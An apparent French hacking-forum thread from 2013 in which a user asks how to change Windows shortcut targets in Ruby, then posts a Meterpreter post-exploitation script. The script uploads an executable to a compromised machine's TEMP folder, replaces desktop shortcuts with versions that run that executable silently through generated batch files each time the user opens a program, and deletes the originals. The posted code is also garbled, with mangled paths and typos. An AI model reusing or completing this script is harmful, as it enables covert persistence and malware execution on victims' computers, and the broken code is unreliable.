Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 13-10-2013 19:04:15

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Modifier cible fichier .lnk

Bonsoir à tous,

Je cherche depuis maintenant 2h un moyen, via un script ruby, de modifier la cible d'un fichier lnk (raccourci windows). Le tout sur kali.
Avez vous une idée?

Merci d'avance!

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 13-10-2013 19:33:43

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 393
Site Web

Re : Modifier cible fichier .lnk

Odonnel a écrit :

Bonsoir à tous,

Je cherche depuis maintenant 2h un moyen, via un script ruby, de modifier la cible d'un fichier lnk (raccourci windows). Le tout sur kali.
Avez vous une idée?

Merci d'avance!

Ca fait que deux heures ??? C'est peu..



Moi, ca fait vingt ans que je cherche a gagné au loto wink


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#3 13-10-2013 21:32:50

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modifier cible fichier .lnk

HAHA moi aussi smile

Bon j'ai trouvé ça : Section Path()

Mais malheureusement je sèche complètement. J'ai des bases en vba et je me suis mis un peu au c++, du coup ca me permet de piger certain truc mais la... Si on pouvait m'expliquer avec un exemple histoire que je comprenne ça serait vraiment sympa! Merci

edit: on me demandera pourquoi écrir en ruby alors? Pour pouvoir utiliser le script que j'ai créé dans une session meterpreter smile

Dernière modification par Odonnel (13-10-2013 21:33:55)

Hors Ligne

#4 14-10-2013 22:45:36

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modifier cible fichier .lnk

Bon, je poste directement mon code.
J'ai un problème et ne sais vraiment pas comment le résoudre.
J'ai créé sous windows avec code::blocks un script ruby pour automatiser des taches pendant une session meterpreter. Dans ce script, j'ai utilisé des lib (win32) qui ne semblent pas fonctionner avec un OS type linux.

Y a-t-il un moyen de remédier à ce problème?

Comme je ne peux pas le tester pour le moment, si certains voient des incohérences, ce serait sympa de me le dire!

Merci d'avance.

require 'win32/shortcut'
require 'fileutils'
include Win32


@session = client
@deskdir = @session.fs.file.expand_path("E:/test ruby")
@kalidir = "/root/Desktop/raccourcis"
@tempdir = @session.fs.file.expand_path("%TEMP%")

# Upload EXE dans TEMP

@session.fs.file.upload_file("[email protected]}/DUP/LAWL.exe", "[email protected]}")


# Download de tous les raccourcis du bureau
Dir.glob("[email protected]}/*.lnk") do |lnk|
print_statut("Downloading #{lnk}")
@session.fs.file.download_file(lnk, "[email protected]}")
@session.fs.file.download_file(lnk, "[email protected]}/DUP")
end

print_statut("Downloading Complete")


# Création du dossier des scripts
Dir::mkdir("[email protected]}/Security", 0777)




# Création des fichiers bat + création des lnk modifier
Dir.glob("[email protected]}/*.lnk") do |lnk|
print_statut("Creating BAT files #{lnk}")

		#Récupération raccourci
		Shortcut.new(lnk) do |s|
		@RAC = s.path
		end
   
	# Création BAT
	@ext = File.basename("#{lnk}", ".lnk")
	File::new("[email protected][email protected]}.bat", "w+")
	mon_tabl = ["@echo off", "START /MIN [email protected]}", "START /MIN [email protected]}\\LAWL.exe"]
	mon_fichier = File.open("[email protected]}.bat", "w")
	mon_tabl.each { |element|
	mon_fichier.write element+"\n"
	}
	mon_fichier.close

# Modification des fichiers lnk dupliqués
		Dir.glob("[email protected]}/DUP/*.lnk") do |lnk|
		print_statut("Changing lnk properties #{lnk}")
		Shortcut.new(lnk) do |s|
		s.path = "[email protected]}/#{ext}.bat"
		end
end
end


# Suppresion de tous les lnk du bureau
Dir.glob("[email protected]}/*.lnk") do |lnk|
print_statut("Deleting #{lnk}")
@session.fs.file.delete_file(lnk, "@kalidir")
end

print_statut("Delete Complete")

# Upload des scripts
Dir.glob("[email protected]}/*.BAT") do |bat|
print_statut("Upload BAT files #{bat}")
@session.fs.file.upload_file(bat, "[email protected]}/Security")
end


# Upload de tous les raccourcis du bureau
Dir.glob("@kalidir/DUP/*.lnk") do |lnk|
print_statut("Uploading #{lnk}")
@session.fs.file.upload_file(lnk, "[email protected]}")
end

print_statut("Script Complete")

Dernière modification par Odonnel (15-10-2013 00:04:31)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
0 553 11-12-2015 14:16:48 par Seska
5 714 10-12-2015 01:24:56 par kcdtv
0 953 08-04-2015 20:44:48 par steph06
5 1021 19-02-2015 17:48:14 par kcdtv
7 1501 11-11-2014 16:03:00 par kcdtv

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.023 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]